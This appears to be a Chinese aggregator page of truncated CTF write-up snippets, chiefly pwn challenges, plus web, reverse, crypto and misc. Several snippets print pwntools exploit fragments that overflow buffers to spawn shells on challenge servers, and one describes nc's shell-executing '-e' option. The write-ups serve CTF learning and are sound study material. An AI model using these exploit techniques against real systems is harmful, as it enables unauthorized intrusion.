2021能源PWN wp】的更多相关文章

babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn import * from pwn import p64,u64,p32,u32,p8 from pwnlib import timeout context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux','…
一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 114.116.54.89 10003还给了一个附件 1.放到ubantu中file一下,,64位,动态链接 2.用64位的ida打开 看一下main函数按f5,可知read函数有一个缓冲区漏洞 后面还有一个getshell函数 那么思路也就是把溢出的地址改为getshell函数执行的地址 在gdb动…
52 web ezyii https://pan.baidu.com/s/1j7IJm9xiea5FvBhPMkPNoQ 提取码GAME <?php include("closure/autoload.php"); function myloader($class){ require_once './class/' . (str_replace('\\', '/', $class) . '.php'); } spl_autoload_register("myloader…
FROM TEAM BINX Web ezphp CODE 将base64解了之后得到: $O0O000="rFqQmguebyiVTBwlWAJYRhsHXfpojxEndNGkZICDLOUtcaSvPzKMfsmDUqReXbSyalFoATOVZMIgjWnLNiPhrBKpxCwukcJEGHQYdzvtdu9FHgTvxjObX3OWGUyFX3O0HA5hvPyWap9JQJBsvaIvHKohHKinx2M0j2xnXKJLj19KQJisj18ncFnTG2yzG2oYXo9z…
逆向手在夹缝中艰难求生系列. 这篇真的存粹是做题笔记了,对内核驱动啥的不太懂,pwn也不会,能做出来的题都是硬逆出来的( childre最后死活没整出来,后来看大佬的wp才知道对子进程有修改(.)呜呜呜多进程真的不太会啊. REVERSE obfu 一堆密码堆起来的题(密码菜鸡卑微落泪 按逻辑来说拿到serial number就能拿到flag了. 通过findcrypt找到三个加密算法的常量,通过交叉引用确定函数用途. v10和v8相比之下v8更容易出,v8跟输入没有关系,相当于已知字符串(=m…
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_shell 送分题,连接上去就是/bin/sh 不过不知道为啥我的nc连接不上... 还是用pwntool的remote连接的 from pwn import * io = remote("111.200.241.244", 64209) io.interactive() 2.hello pw…
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本 from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive() 得到flag 3,warmup_csaw_2016…
面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0You Are Born In 0You Are Naive.You Speed One Second Here.打开.C文件,发现是ELF的源码 #include <stdio.h> struct Student { char name[8]; int birth; }; int main(vo…
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 25677 [注] nc命令详解 -c shell命令为"-e":使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点,最多8个 -G num源路由指针:4,8,12... -i secs 发送的线路和扫描的端口的延迟间隔为1秒 -…
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. from pwn import * p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') context(os='linux',arch='amd64',log_level='debug') def duan(): gdb.…
Controller 考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell. 1 from pwn import * 2 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 pop_rdi = 0x004…
前言 这比赛应该叫应急响应比赛,而且flag交三次就不能交了,就因为我交错一道题然后差一道进线下,气死了. Jwt 2.1 jwt 题目提示 2.2 搜索username得到 10087#admin 2.3 root 不是root就是admin 2.4 1.c 2.5 looter.so 2.6 /etc/pam.d/common-auth Webshell 3.1 Admin123!@# http.request.method == "POST" && http co…
1.签到题-Crypto Vigenere 根据题目Vigenere可看出是维吉尼亚密码 使用在线网站破解 https://guballa.de/vigenere-solver flag:53d613fc-6c5c-4dd6-b3ce-8bc867c6f648 2.Misc helloshark 一张图片 010打开发现16进制有许多PK字样,对图片进行分离处理(foremost) 果然隐藏了压缩包,但是压缩包设置了密码,提示密码在图片里 猜测图片存在LSB隐写,使用工具zsteg进行检测 可以…
比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 首先需要登录,用户名密码任意填,用户名不能是admin,爆破md5,这个简单 之后审代码,存在个溢出的问题,但是只能admin能add操作,应该思路就是获得admin身份然后溢出 admin伪造:因为math/rand的问题,是伪随机数,这样本地写个gin的web服务,同样的方式生成session,…
bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474658681539589842726033432568031364836913266105784068082329551223694895337089556841972133117083455781254146830929881949726774689281458380642302716738282…
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了. 这题的主要功能如下: 正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束. 首先泄露libc的地址,申请堆只能申请0x7f到0x100…
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞利用开发协助 pwndbg:和PEDA类似,GDB插件 pwntools:写exp和poc的利器(python库) checksec:检查elf程序的安全性和程序的运行平台(一般来说peda里面自带的就够了) objdump和readelf:可以很快的知道elf程序中的关键信息(Ubuntu自带) ROPga…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现,最近的 hitcon2017 又提出了一种新的方式.本文对该攻击进行总结. 正文 首先来一张 _IO_FILE 结构体的结构 _IO_FILE_plus 等价于 _IO_FILE + vtable 调试着来看看(64 位) vtable 指向的位置是一组函数指针 利用 vtable 进行攻击 通过…
一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...…
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB easy tornado 打开链接是几个文件的列表,分别打开,关注url和内容 http://49.4.79.198:31809/file?filename=Orz.txt&signature=0434ba1fadd43ce31661c315fbb8a9c6 Orz.txt render() ht…
wp 0x00 p200 先分析了程序关键的数据结构 分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf 脚本如下: 1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆 2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据 3.再free,此时可以把整块Ton堆给free 4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8 5.执行1.use…
1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // rax if ( a1 > (signed int)a2 ) return a2; ) LODWORD(result) = a1 + ; else LODWORD(result) = a1; return (unsigned int)result; } 然后 覆盖了 下一个chunk的 size ,然…
护网 又是签到 一天 这道题一开始 不懂得如何泄露 libc 信息,就蒙了  后来群里师傅也是刚刚好 做出 到这里 我就接着做了 . 先看下保护,发现  全开了 然后 就看下流程 大概 就是添加  chunk  show  合并两个chunk 可利用的 洞就是 int merge() { int v1; // ST1C_4 signed int i; // [rsp+8h] [rbp-18h] int index1; // [rsp+Ch] [rbp-14h] int index2; // [r…
本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有思路但是最后还是没有做出来. 简单写个WP吧. 本次比赛的部分文件我已保存上传至xxx.懒得上传,需要的话找我拿吧. 一.MISC 神奇的二维码 下载之后是一个二维码,直接扫描后是一个fakeflag,直接binwalk先扫描一波 可以发现里面有几个rar,将其分离出来,其中两个rar解出来都是没有…
源码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void setbufs() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); setvbuf(stderr, 0, 1, 0); } int main() { char tips[]="suuuuuuuper easy test."; char buf[32]; int…
Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处 0x01 工欲善其事,必先利其器 Linux下的pwn常用到的工具有: gdb:Linux调试中必要用到的 gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit,这些工具的安装可以参考:http://blog.csdn.net/gatiem…
本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg 然后就多方搜集,弄来了一些工具(IDA pro.pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵. 只记得一个快捷键Shift+F12,查看下字符...然后其他的,呵呵哒. 最后既然啥都看不懂但是题目还是要做的,只能一直瞟师傅们的wp了,希望在接下来的一段时间能够“瞟有所成”.... 下面这道题呢是来自攻防世界的题目——cgpwn2. 在题目场景那里本来有一个打开场景的,点击后等待一下就可以了.在下面有一个附件,…
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod 777 XXX加上./XXX 运行一下 静态调试 打开IDA-64,一路默认,看到main函数: 可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串.如果一开始输入的数字小于16,会指定长度为16.可以看到很明显的栈溢出漏洞.但是又有些不一样,看大神WP才知道需要s…
MRCTF 2020 WP 引言 周末趁上课之余,做了一下北邮的CTF,这里记录一下做出来的几题的WP ez_bypass 知识点:MD5强类型比较,is_numeric()函数绕过 题目源码: I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['…
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc 但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针 然后,然后我就找不到思路了 然后学习了一波师傅们的wp 其实这个除了UAF还有一个小漏洞,就是可…